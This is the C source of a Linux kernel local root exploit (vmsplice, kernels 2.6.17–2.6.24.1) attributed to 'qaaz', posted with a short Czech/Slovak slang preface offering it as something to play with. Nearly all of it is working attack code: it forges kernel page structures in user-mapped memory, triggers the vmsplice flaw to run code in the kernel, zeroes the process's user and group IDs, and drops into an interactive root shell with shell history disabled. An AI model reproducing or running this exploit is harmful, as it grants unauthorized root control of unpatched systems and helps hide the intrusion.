1 /*
  2 * jessica_biel_naked_in_my_bed.c
  3 *
  4 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
  5 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
  6 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
  7 *
  8 * Linux vmsplice Local Root Exploit
  9 * By qaaz
 10 *
 11 * Linux 2.6.17 - 2.6.24.1
 12 *
 13 * This is quite old code and I had to rewrite it to even compile.
 14 * It should work well, but I don't remeber original intent of all
 15 * the code, so I'm not 100% sure about it. You've been warned ;)
 16 * 
 17 * -static -Wno-format  
 18 */
 19 #define _GNU_SOURCE
 20 #include <stdio.h>
 21 #include <errno.h>
 22 #include <stdlib.h>
 23 #include <string.h>
 24 #include <malloc.h>
 25 #include <limits.h>
 26 #include <signal.h>
 27 #include <unistd.h>
 28 #include <sys/uio.h>
 29 #include <sys/mman.h>
 30 #include <asm/page.h>
 31 #define __KERNEL__
 32 #include <asm/unistd.h>
 33 
 34 #define PIPE_BUFFERS        16
 35 #define PG_compound        14
 36 #define uint                unsigned int
 37 #define static_inline        static inline __attribute__((always_inline))
 38 #define STACK(x)        (x + sizeof(x) - 40)
 39 
 40 struct page {
 41         unsigned long flags;
 42         int count;
 43         int mapcount;
 44         unsigned long private;
 45         void *mapping;
 46         unsigned long index;
 47         struct { long next, prev; } lru;
 48 };
 49 
 50 void        exit_code();
 51 char        exit_stack[1024 * 1024];
 52 
 53 void        die(char *msg, int err)
 54 {
 55         printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
 56         fflush(stdout);
 57         fflush(stderr);
 58         exit(1);
 59 }
 60 
 61 #if defined (__i386__)
 62 
 63 #ifndef __NR_vmsplice
 64 #define __NR_vmsplice        316
 65 #endif
 66 
 67 #define USER_CS                0x73
 68 #define USER_SS                0x7b
 69 #define USER_FL                0x246
 70 
 71 static_inline
 72 void        exit_kernel()
 73 {
 74         __asm__ __volatile__ (
 75         "movl %0, 0x10(%%esp) ;"
 76         "movl %1, 0x0c(%%esp) ;"
 77         "movl %2, 0x08(%%esp) ;"
 78         "movl %3, 0x04(%%esp) ;"
 79         "movl %4, 0x00(%%esp) ;"
 80         "iret"
 81         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
 82             "i" (USER_CS), "r" (exit_code)
 83         );
 84 }
 85 
 86 static_inline
 87 void *        get_current()
 88 {
 89         unsigned long curr;
 90         __asm__ __volatile__ (
 91         "movl %%esp, %%eax ;"
 92         "andl %1, %%eax ;"
 93         "movl (%%eax), %0"
 94         : "=r" (curr)
 95         : "i" (~8191)
 96         );
 97         return (void *) curr;
 98 }
 99 
100 #elif defined (__x86_64__)
101 
102 #ifndef __NR_vmsplice
103 #define __NR_vmsplice        278
104 #endif
105 
106 #define USER_CS                0x23
107 #define USER_SS                0x2b
108 #define USER_FL                0x246
109 
110 static_inline
111 void        exit_kernel()
112 {
113         __asm__ __volatile__ (
114         "swapgs ;"
115         "movq %0, 0x20(%%rsp) ;"
116         "movq %1, 0x18(%%rsp) ;"
117         "movq %2, 0x10(%%rsp) ;"
118         "movq %3, 0x08(%%rsp) ;"
119         "movq %4, 0x00(%%rsp) ;"
120         "iretq"
121         : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
122             "i" (USER_CS), "r" (exit_code)
123         );
124 }
125 
126 static_inline
127 void *        get_current()
128 {
129         unsigned long curr;
130         __asm__ __volatile__ (
131         "movq %%gs:(0), %0"
132         : "=r" (curr)
133         );
134         return (void *) curr;
135 }
136 
137 #else
138 #error "unsupported arch"
139 #endif
140 
141 #if defined (_syscall4)
142 #define __NR__vmsplice        __NR_vmsplice
143 _syscall4(
144         long, _vmsplice,
145         int, fd,
146         struct iovec *, iov,
147         unsigned long, nr_segs,
148         unsigned int, flags)
149 
150 #else
151 #define _vmsplice(fd,io,nr,fl)        syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
152 #endif
153 
154 static uint uid, gid;
155 
156 void        kernel_code()
157 {
158         int        i;
159         uint        *p = get_current();
160 
161         for (i = 0; i < 1024-13; i++) {
162                 if (p[0] == uid && p[1] == uid &&
163                     p[2] == uid && p[3] == uid &&
164                     p[4] == gid && p[5] == gid &&
165                     p[6] == gid && p[7] == gid) {
166                         p[0] = p[1] = p[2] = p[3] = 0;
167                         p[4] = p[5] = p[6] = p[7] = 0;
168                         p = (uint *) ((char *)(p + 8) + sizeof(void *));
169                         p[0] = p[1] = p[2] = ~0;
170                         break;
171                 }
172                 p++;
173         }        
174 
175         exit_kernel();
176 }
177 
178 void        exit_code()
179 {
180         if (getuid() != 0)
181                 die("wtf", 0);
182 
183         printf("[+] root\n");
184         putenv("HISTFILE=/dev/null");
185         execl("/bin/bash", "bash", "-i", NULL);
186         die("/bin/bash", errno);
187 }
188 
189 int        main(int argc, char *argv[])
190 {
191         int                pi[2];
192         size_t                map_size;
193         char *                map_addr;
194         struct iovec        iov;
195         struct page *        pages[5];
196 
197         uid = getuid();
198         gid = getgid();
199         setresuid(uid, uid, uid);
200         setresgid(gid, gid, gid);
201 
202         printf("-----------------------------------\n");
203         printf(" Linux vmsplice Local Root Exploit\n");
204         printf(" By qaaz\n");
205         printf("-----------------------------------\n");
206 
207         if (!uid || !gid)
208                 die("!@#$", 0);
209 
210         /*****/
211         pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
212         pages[1] = pages[0] + 1;
213 
214         map_size = PAGE_SIZE;
215         map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
216                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
217         if (map_addr == MAP_FAILED)
218                 die("mmap", errno);
219 
220         memset(map_addr, 0, map_size);
221         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
222         printf("[+] page: 0x%lx\n", pages[0]);
223         printf("[+] page: 0x%lx\n", pages[1]);
224 
225         pages[0]->flags    = 1 << PG_compound;
226         pages[0]->private  = (unsigned long) pages[0];
227         pages[0]->count    = 1;
228         pages[1]->lru.next = (long) kernel_code;
229 
230         /*****/
231         pages[2] = *(void **) pages[0];
232         pages[3] = pages[2] + 1;
233 
234         map_size = PAGE_SIZE;
235         map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
236                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
237         if (map_addr == MAP_FAILED)
238                 die("mmap", errno);
239 
240         memset(map_addr, 0, map_size);
241         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
242         printf("[+] page: 0x%lx\n", pages[2]);
243         printf("[+] page: 0x%lx\n", pages[3]);
244 
245         pages[2]->flags    = 1 << PG_compound;
246         pages[2]->private  = (unsigned long) pages[2];
247         pages[2]->count    = 1;
248         pages[3]->lru.next = (long) kernel_code;
249 
250         /*****/
251         pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
252         map_size = PAGE_SIZE;
253         map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
254                         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
255         if (map_addr == MAP_FAILED)
256                 die("mmap", errno);
257         memset(map_addr, 0, map_size);
258         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
259         printf("[+] page: 0x%lx\n", pages[4]);
260 
261         /*****/
262         map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
263         map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
264                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
265         if (map_addr == MAP_FAILED)
266                 die("mmap", errno);
267 
268         memset(map_addr, 0, map_size);
269         printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
270 
271         /*****/
272         map_size -= 2 * PAGE_SIZE;
273         if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
274                 die("munmap", errno);
275 
276         /*****/
277         if (pipe(pi) < 0) die("pipe", errno);
278         close(pi[0]);
279 
280         iov.iov_base = map_addr;
281         iov.iov_len  = ULONG_MAX;
282 
283         signal(SIGPIPE, exit_code);
284         _vmsplice(pi[1], &iov, 1, 0);
285         die("vmsplice", errno);
286         return 0;
287 }